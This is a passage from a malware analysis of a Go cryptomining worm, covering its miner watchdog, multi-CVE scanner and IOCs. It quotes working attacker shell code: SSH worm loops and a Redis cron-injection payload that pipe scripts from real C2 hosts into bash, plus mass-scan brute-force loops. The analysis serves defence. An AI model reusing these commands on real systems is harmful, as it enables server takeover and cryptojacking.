If the output does not contain “2” a new miner is started. The miner can be installed in two different locations, depending on the permissions the malware has. The two paths are:
/etc/sysupdate
/tmp/sysupdate
If the miner is not missing but is not running, the malware will just execute
it. If the file is missing, the malware downloads the update.sh
shell script
and executes it to install all the files. The logic is shown below in the ASM
snippet.
0x006334d5 call fcn.__tmp_0324_dog_cc.Get_miner_path
0x006334da mov rax, qword [var_10h]
0x006334df mov rcx, qword [var_18h]
0x006334e4 test rcx, rcx
0x006334e7 jne 0x633524
0x006334e9 lea rax, qword [0x006c7173] ; lin
0x006334f0 mov qword [rsp], rax
0x006334f4 mov qword [var_8h], 3
0x006334fd call fcn.__tmp_0324_dog_cc.Get_tasks_payload
0x00633502 mov rax, qword [var_18h]
0x00633507 mov rcx, qword [var_10h]
0x0063350c mov qword [rsp], rcx
0x00633510 mov qword [var_8h], rax
0x00633515 call fcn.__tmp_0324_dog_platform.lin_download_payload_and_exec
0x0063351a mov rbp, qword [var_58h]
0x0063351f add rsp, 0x60
0x00633523 ret
0x00633524 mov qword [var_38h], rax
0x00633529 mov qword [var_40h], rcx
0x0063352e xorps xmm0, xmm0
0x00633531 movups xmmword [var_48h], xmm0
0x00633536 lea rax, qword sym.type.string
0x0063353d mov qword [rsp], rax
0x00633541 lea rax, qword [var_38h]
0x00633546 mov qword [var_8h], rax
0x0063354b call fcn.runtime.convT2Estring
0x00633550 mov rax, qword [var_10h]
0x00633555 mov rcx, qword [var_18h]
0x0063355a mov qword [var_48h], rax
0x0063355f mov qword [var_50h], rcx
0x00633564 lea rax, qword [0x006c71e8] ; %s &
0x0063356b mov qword [rsp], rax
0x0063356f mov qword [var_8h], 4
0x00633578 lea rax, qword [var_48h]
0x0063357d mov qword [var_10h], rax
0x00633582 mov qword [var_18h], 1
0x0063358b mov qword [var_20h], 1
0x00633594 call fcn.fmt.Sprintf
0x00633599 mov rax, qword [var_28h]
0x0063359e mov rcx, qword [var_30h]
0x006335a3 mov qword [rsp], rax
0x006335a7 mov qword [var_8h], rcx
0x006335ac call fcn.__tmp_0324_dog_platform.lin_os_command_exec
The same process is used for monitoring the scanner. The following command is executed and the malware checks for a count of “2” to be returned.
ps -auxf|grep networkservice|wc -l
The scanner paths are:
/etc/networkservice
/tmp/networkservice
Windows Process Protection Functionality
On Windows, the malware uses WMIC to check if the processes are running. If
the process is not running, the process is started via Powershell. In the
scenario where the file is missing, the update.ps1
file is downloaded and
executed.
Commands executed:
- Check miner:
wmic process where name='sysupdate.exe' get processid,commandline
- Start miner:
powershell Start-Process %TEMP%\sysupdate.exe -windowstyle hidden
- Check scanner:
wmic process where name='networkservice.exe' get processid,commandline
- Start scanner:
powershell Start-Process %TEMP%\networkservice.exe -windowstyle hidden
Scanner Component and Other Ways of Spreading
The scanner component is also written in Go. The Linux scanner and the Windows scanner are compiled from the same codebase. The extracted source code layout is shown below. Based on function names it appears the following CVEs are exploited:
- CVE-2015-1427 (Elasticsearch)
- CVE-2014-3120 (Elasticsearch)
- CVE-2018-1273 (Spring Data Commons)
- CVE-2017-10271 (WebLogic)
In addition to the listed CVEs, the following applications or devices appears to be targeted:
- CCTV
- Drupal
- Hadoop
- Redis
- SQLServer
- ThinkPHP
Package _/tmp/0324/scan/exp: /tmp/0324/scan/exp
File: <autogenerated>
init Lines: 1 to 1 (0)
File: cctv_exploit_wait.go
cc_is_shell_rce Lines: 15 to 63 (48)
cc_is_shell_rcefunc1 Lines: 32 to 82 (50)
cc_shell_rce Lines: 63 to 111 (48)
cc_shell_rcefunc1 Lines: 82 to 89 (7)
cc_shell_t_rce Lines: 111 to 125 (14)
Cctv_exploit Lines: 125 to 128 (3)
File: drupal_exploit.go
dp_isdrupal Lines: 16 to 65 (49)
dp_isdrupalfunc1 Lines: 27 to 75 (48)
dp_check_payload Lines: 65 to 105 (40)
dp_check_payloadfunc1 Lines: 75 to 121 (46)
dp_7600_ver8_rce Lines: 105 to 232 (127)
dp_7600_ver8_rcefunc1 Lines: 121 to 128 (7)
dp_7600_rce Lines: 232 to 257 (25)
Drupal_exploit Lines: 257 to 265 (8)
File: elasticsearch_exploit.go
es_exploit_cve20151427_rce Lines: 17 to 78 (61)
es_exploit_cve20151427_rcefunc1 Lines: 36 to 138 (102)
es_exploit_cve20151427_t_rce Lines: 78 to 103 (25)
toj Lines: 103 to 120 (17)
es_exploit_cve20143120_rce Lines: 120 to 178 (58)
es_exploit_cve20143120_rcefunc1 Lines: 138 to 145 (7)
es_exploit_cve20143120_t_rce Lines: 178 to 201 (23)
Elasticsearch_exploit Lines: 201 to 204 (3)
File: get_target.go
get_target Lines: 35 to 78 (43)
Iam_is_scan Lines: 78 to 90 (12)
Report_succ Lines: 90 to 103 (13)
get_win_powershell_command_by_cc Lines: 103 to 114 (11)
Init_cc Lines: 114 to 118 (4)
File: hadoop_exploit.go
hd_exploit_unaurority_rce Lines: 16 to 117 (101)
hd_exploit_unaurority_rcefunc1 Lines: 33 to 88 (55)
hd_exploit_unaurority_rcefunc2 Lines: 88 to 95 (7)
Hadoop_exploit Lines: 117 to 128 (11)
File: redis_exploit.go
re_exploit_rce Lines: 18 to 107 (89)
re_exploit_connect_redis Lines: 107 to 127 (20)
re_exploit_redis_brute Lines: 127 to 146 (19)
re_exploit_unaurority_rce Lines: 146 to 170 (24)
Redis_exploit Lines: 170 to 182 (12)
File: spring_exploit.go
sp_cve20181273_exists Lines: 15 to 70 (55)
sp_cve20181273_existsfunc1 Lines: 34 to 87 (53)
sp_cve20181273_exploit Lines: 70 to 124 (54)
sp_cve20181273_exploitfunc1 Lines: 87 to 94 (7)
Spring_exploit Lines: 124 to 137 (13)
File: sqlserver_exploit.go
ss_execute_sql Lines: 137 to 155 (18)
ss_execute_payload Lines: 155 to 179 (24)
ss_exploit_xcmdshell Lines: 179 to 225 (46)
ss_exploit_sp_oacreate Lines: 225 to 284 (59)
ss_crack_login Lines: 284 to 341 (57)
ss_exploit Lines: 341 to 389 (48)
Sqlserver_exploit Lines: 389 to 390 (1)
File: thinkphp_exploit.go
tp_isThinkphp Lines: 24 to 97 (73)
tp_isThinkphpfunc1 Lines: 58 to 112 (54)
tp5_rce_Exists Lines: 97 to 143 (46)
tp5_rce_Existsfunc1 Lines: 112 to 163 (51)
tp_exploit_tp5rce_exp Lines: 143 to 190 (47)
tp_exploit_tp5rce_expfunc1 Lines: 163 to 241 (78)
tp_exploit_tp5rce Lines: 190 to 217 (27)
tp5_23_rce_Exists Lines: 217 to 280 (63)
tp5_23_rce_Existsfunc1 Lines: 241 to 297 (56)
tp_exploit_tp5_23_rce_exp Lines: 280 to 326 (46)
tp_exploit_tp5_23_rce_expfunc1 Lines: 297 to 304 (7)
tp_exploit_tp5_23rce Lines: 326 to 355 (29)
Thinkphp_exploit Lines: 355 to 358 (3)
File: utils.go
Http_GetData Lines: 14 to 60 (46)
Http_GetDatafunc1 Lines: 25 to 54 (29)
Encode_powershell Lines: 60 to 76 (16)
File: weblogic_exploit.go
wl_wls_urlistrue Lines: 43 to 78 (35)
wl_wls_urlistruefunc1 Lines: 54 to 95 (41)
wl_cve201710271_rce Lines: 78 to 121 (43)
wl_cve201710271_rcefunc1 Lines: 95 to 102 (7)
wl_cve201710271_t_rce Lines: 121 to 149 (28)
Weblogic_exploit Lines: 149 to 155 (6)
Package _/tmp/0324/scan/ipc: /tmp/0324/scan/ipc
File: <autogenerated>
init Lines: 1 to 52 (51)
File: ipcn.go
download_ipdb Lines: 70 to 92 (22)
Init_ip Lines: 92 to 111 (19)
Package main: /tmp/0324/scan
File: <autogenerated>
init Lines: 1 to 19 (18)
File: top.go
openPort Lines: 52 to 68 (16)
randomIp Lines: 68 to 105 (37)
scan Lines: 105 to 236 (131)
mainScan Lines: 236 to 275 (39)
initdebug_ip Lines: 275 to 288 (13)
main Lines: 288 to 295 (7)
Pre-scanning Phase
Before the module starts scanning, it downloads two lists of IPs from the two URLs below. The filenames suggest that the IP addresses in the list are Chinese.
http://178.157.91.26/ec8ce6ab/ip_cn.txt
http://178.157.91.26/ec8ce6ab/ips_cn.txt
The scanner has support for the use of multiple C2s. It selects one of the C2s and uses the URL to build the first part of the payload for all the exploits. Currently, only one address is in the list. An example of the C2 URL is shown below.
http://45.137.151.106/ec8ce6abb3e952a85b85/
IP Generation
The scanner generates random IP addresses by first generating a random number between 0 and 255. If the number is 127, 10, or 172, it picks a new number. Otherwise, three more numbers are generated.
0x006b0e6c mov qword [rsp], 0xff ; 255
0x006b0e74 call fcn.math_rand.Intn
0x006b0e79 mov rax, qword [var_8h]
0x006b0e7e mov qword [var_38h], rax
0x006b0e83 cmp rax, 0x7f ; 127
0x006b0e87 je 0x6b0e6c
0x006b0e89 cmp rax, 0xa ; 10
0x006b0e8d je 0x6b0e6c
0x006b0e8f cmp rax, 0xac ; 172
0x006b0e95 je 0x6b0e6c
0x006b0e97 mov qword [rsp], 0xff ; 255
0x006b0e9f call fcn.math_rand.Intn
0x006b0ea4 mov rax, qword [var_8h]
0x006b0ea9 mov qword [var_40h], rax
0x006b0eae mov qword [rsp], 0xff ; 255
0x006b0eb6 call fcn.math_rand.Intn
0x006b0ebb mov rax, qword [var_8h]
0x006b0ec0 mov qword [var_48h], rax
0x006b0ec5 mov qword [rsp], 0xff ; 255
0x006b0ecd call fcn.math_rand.Intn
The four numbers are used to create an IP string in dot-decimal notation
using the Sprintf
function from the fmt
standard library package. The
corresponding Go code would look something similar to the code below:
for {
n1 := rand.Intn(255)
if n1 == 127 || n1 == 10 || n1 == 172 {
continue
}
n2 := rand.Intn(255)
n3 := rand.Intn(255)
n4 := rand.Intn(255)
return fmt.Sprintf("%d.%d.%d.%d", n1, n2, n3, n4)
}
Payloads
The scanner has a variety of payloads that is used against different services. Which payload to be used, is dependent on the open ports on the scanned machine. Before a payload is being used, the scanner first tries to identify if the machine runs a vulnerable version of the expected service. For some services, the scanner doesn’t try to exploit a vulnerability. Instead, it uses unauthenticated access or weak passwords.
If the scanner finds a redis service, it first tries to access it without any credentials. If that fails it uses the following set of passwords:
- 123456
- redis123
- root
- 111111
If it successfully authenticates to the service, the scanner uses the
flushall
command to gain remote code execution. The command is used to add a
new cron tab entry. The entry is */1 * * * * curl -fsSL %s |sh
where %s
is
replace with C2 URL to init.sh
.
Another service the scanner tries to access without any credentials is Hadoop. If the cluster is not protected with credentials, the scanner tries to add a new application on the cluster that will download and execute the malware.
The final service the scan module tries to gain access to via credentials is instances of MSSQL. The module tries to brute force the password for the sa user account with a list of 2993 different passwords.
The scanner module has a function for exploiting what the author calls CCTV.
The malware exploits backdoors in CCTV DVRs. The flaw was reported by Andrew
Tierney
(PenTestPartners)
back in February 2016. The scanner sends the query %s/shell?uname
to the
web server. If it gets a response that indicates the shell functionality is
operational, it will use the shell to execute commands to download and execute
the setup script.
Other vulnerabilities, the scanning module tries to exploit are CVE-2015-1427
and CVE-2014-3120 for Elasticsearch, CVE-2018-1273 for Spring Data
Commons, and CVE-2017-10271 for WebLogic. If the module finds a webserver
that uses Drupal, it tries to exploit CVE-2018-7600 which is also known as
Drupalgeddon2. The Drupalgeddon2 exploit writes data to the file
/hellohellohello.txt
in the web-root directory. The last set of CVEs
exploited by the malware ThinkPHP using CVE-2019-9082 and a vulnerability
that doesn’t appear to have a designated CVE. Both vulnerabilities have PoCs
available on vuln-hub.
[1,
2]
Older versions of the malware didn’t have a binary scanner module. Instead, the scanning module was implemented in shell script. One of the ways the older version would spread was via known ssh host and stored keys. The code snippet below from an older version of the malware is showing this functionality. After this, the setup script would download the installation script for the scanner module.
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o- http://178.157.91.26/ec8ce6ab/is.sh | bash >/dev/null 2>&1 &' & done
fi
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cdl -o- http://178.157.91.26/ec8ce6ab/is.sh | bash >/dev/null 2>&1 &' & done
fi
$bbdir -fsSL http://178.157.91.26/ec8ce6ab/is.sh | bash
$bbdira -fsSL http://178.157.91.26/ec8ce6ab/is.sh | bash
The setup script would download two tools to scan for hosts: masscan and pnscan. The snippet below downloads masscan that is stored in a tarball.
$bbdira -sL -o x1.tar.gz http://178.157.91.26/ec8ce6ab/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
echo "Masscan Installed"
The tool pnscan is downloaded from the official ftp site, as can be seen below.
if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
$bbdira -kLs ftp://ftp.lysator.liu.se/pub/unix/pnscan/pnscan-1.11.tar.gz > .x112 || $ccdira -q -O .x112 ftp://ftp.lysator.liu.se/pub/unix/pnscan/pnscan-1.11.tar.gz
sleep 1
[ -f .x112 ] && tar xf .x112&& cd pnscan-1.11 && make lnx && make install&& cd .. && rm -rf pnscan-1.11 .x112
echo "Pnscan Installed"
fi
After everything has been downloaded, the install script downloads the redis scanning logic.
$bbdir -fsSL http://178.157.91.26/ec8ce6ab/rs.sh | bash
$bbdira -fsSL http://178.157.91.26/ec8ce6ab/rs.sh | bash
The redis scanning script first creates the payload. As can be seen below, it uses cron to gain code execution.
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * cdl -fsSL http://178.157.91.26/ec8ce6ab/init.sh | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://178.157.91.26/ec8ce6ab/init.sh | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://45.137.151.106/ec8ce6abb3e952a85b85/init.sh | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * wdl -q -O- http://45.137.151.106/ec8ce6abb3e952a85b85/init.sh | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
The following code snippet is showing how pnscan is used to scan for redis servers. For any found services, it tries to authenticate with weak credentials.
pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
for x in $( seq 1 224 | sort -R ); do
for y in $( seq 0 255 | sort -R ); do
$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw &
cat .dat | redis-cli -h $h -p $p -a redis --raw &
cat .dat | redis-cli -h $h -p $p -a root --raw &
cat .dat | redis-cli -h $h -p $p -a oracle --raw &
cat .dat | redis-cli -h $h -p $p -a password --raw &
cat .dat | redis-cli -h $h -p $p -a p@aaw0rd --raw &
cat .dat | redis-cli -h $h -p $p -a abc123 --raw &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw &
cat .dat | redis-cli -h $h -p $p -a 123456 --raw &
cat .dat | redis-cli -h $h -p $p -a admin --raw &
done < .r.$x.$y.l
The logic is similar for masscan:
masscan --max-rate 10000 -p6379 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a redis --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a root --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a oracle --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a password --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a p@aaw0rd --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123 --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a 123456 --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a admin --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 10000 -p6379 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a redis --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a root --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a oracle --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a password --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a p@aaw0rd --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123 --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a abc123! --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a 123456 --raw 2>/dev/null 1>/dev/null &
cat .dat | redis-cli -h $h -p $p -a admin --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet
sleep 1
masscan --max-rate 10000 -p6379 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null
IOCs
Scripts
Filename | SHA-256 |
---|---|
clean.bat | 848e9b20dbf3e766ed306e78e07d9332fe065ec41a3d7d924f6345bba71de49b |
init.ps1 | 2fa79dbf3341d880f8c08bee5796895683e6eb3dd76a537ea3a60f6ac33d9b17 |
init.sh | 03927595ead68cbb3a31a6d27cf0c86abadce204bd4bff2a66fca8f6b7f306e2 |
is.sh | 6faa026af253c784ef97ffec3a9953055d394061a9a1fbfdcc5b28445b73ffdc |
rs.sh | e2b982f9540304e31ca8d1cdafb253da7d216d1cc939a281a1a95baaa4be9b2d |
updata.sh | 03927595ead68cbb3a31a6d27cf0c86abadce204bd4bff2a66fca8f6b7f306e2 |
update.ps1 | 2fa79dbf3341d880f8c08bee5796895683e6eb3dd76a537ea3a60f6ac33d9b17 |
update.sh | 89bb4cb68372198a3937a315433bfffabeccfe14b2b70fbb883ec30476fa3e70 |
update.ps1 | 5f89619b59ff9f184203ac8a5e7ec88dbd82fa992292cb3ae236c8d5b884b576 |
update.sh | 8eef72ded1b8ab8c72a089ce44149e772f1f6d1369f5f1dfa4a8c7ed5614c2a2 |
clean.bat | 64210e25d19d1813e764c31ce78cb8ef20b11e671e58a02d0cee209d16005749 |
clean.bat | 64210e25d19d1813e764c31ce78cb8ef20b11e671e58a02d0cee209d16005749 |
update.ps1 | 5f89619b59ff9f184203ac8a5e7ec88dbd82fa992292cb3ae236c8d5b884b576 |
update.sh | 8eef72ded1b8ab8c72a089ce44149e772f1f6d1369f5f1dfa4a8c7ed5614c2a2 |
updata.sh | 3c7faf7512565d86b1ec4fe2810b2006b75c3476b4a5b955f0141d9a1c237d38 |
Binaries
Filename | SHA-256 | Note |
---|---|---|
networkservice | 40c40bd3aa61d09b704748ecbb9ecbd9f34b0e4afb175036b12906900ce2cbde | Scanner module |
networkservice.exe | a98e81b9fd8a8a78d7977ddb9c37f36bee0a51695898d0ae8065a3ea3af3057a | Scanner module |
networkservices | ea55a206f7047f54a9e97cc3234848dfd3e49d0b5f9569b08545f1ad0e733286 | Scanner module |
sysguard | 8129d9f08314ccf6ff7a978a272ff43e1515cd0a28f1f1aac7008a36dde3618b | Watch dog module |
sysguard.exe | b7818c458f0e6e9a5d2080626c7cede1eac573fa2c4dae65d91607eeaa23bdf0 | Watch dog module |
sysguerd | bceee7d9ace363ef2bfb1494a9784a6377fe14c4c5fefa0c180fcec33a5d1716 | Watch dog module |
sysupdata | c51811c6d68b219d7804407ea54bd1f9b8ae0a4fcf1ddf6126740812bea52416 | XMRig 5.6.0 |
sysupdata | e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7 | XMRig (Fake name “screen 2.8.5”) |
sysupdate.exe | 559a8ff34cf807e508d32e3a28864c687263587fe4ffdcefe3f462a7072dcc74 | XMRIG (Fake name “jusched 2.8.5”) |
sysupdate.exe | e0a44f98e994ab0cdd88cacb803668903a302a83761e6376b80264364f6c5a9a | XMRig 5.6.0 |
Network
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/clean.bat
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/config.json
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/favorite.ico
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/networkservice
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/networkservice.exe
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/sysguard
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/sysguard.exe
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/sysupdate
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/sysupdate.exe
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/update.ps1
- hxxp://146.71.79.230/363A3EDC10A2930DVNICE/update.sh
- hxxp://178.157.91.26/ec8ce6ab/bd.sh
- hxxp://178.157.91.26/ec8ce6ab/config.json
- hxxp://178.157.91.26/ec8ce6ab/favorite.ico
- hxxp://178.157.91.26/ec8ce6ab/iplog.php
- hxxp://178.157.91.26/ec8ce6ab/is.sh
- hxxp://178.157.91.26/ec8ce6ab/networkservics
- hxxp://178.157.91.26/ec8ce6ab/sysguerd
- hxxp://178.157.91.26/ec8ce6ab/sysupdata
- hxxp://178.157.91.26/ec8ce6ab/updata.sh
- hxxp://45.137.151.106/ec8ce6abb3e952a85b85/config.json
- hxxp://45.137.151.106/ec8ce6abb3e952a85b85/favorite.ico
- hxxp://45.137.151.106/ec8ce6abb3e952a85b85/iplog.php
- hxxp://45.137.151.106/ec8ce6abb3e952a85b85/networkservics
- hxxp://45.137.151.106/ec8ce6abb3e952a85b85/sysguerd
- hxxp://45.137.151.106/ec8ce6abb3e952a85b85/sysupdata
- hxxp://45.137.151.106/ec8ce6abb3e952a85b85/updata.sh
- hxxps://us.gsearch.com.de/api/clean.bat
- hxxps://us.gsearch.com.de/api/config.json
- hxxps://us.gsearch.com.de/api/favorite.ico
- hxxps://us.gsearch.com.de/api/networkservice
- hxxps://us.gsearch.com.de/api/networkservice.exe
- hxxps://us.gsearch.com.de/api/sysguard
- hxxps://us.gsearch.com.de/api/sysguard.exe
- hxxps://us.gsearch.com.de/api/sysupdate
- hxxps://us.gsearch.com.de/api/sysupdate.exe
- hxxps://us.gsearch.com.de/api/update.ps1
- hxxps://us.gsearch.com.de/api/update.sh
Crypto
Pool | Wallet/User |
---|---|
xmr.f2pool.com:13531 | 43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR |
randomxmonero.hk.nicehash.com:3380 | 3HVQkSGfvyyQ8ACpShBhegoKGLuTCMCiAr |
xmr-eu2.nanopool.org:14444 | 43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR |
Appendix
If you would like to analyze this malware, I have made some samples available here.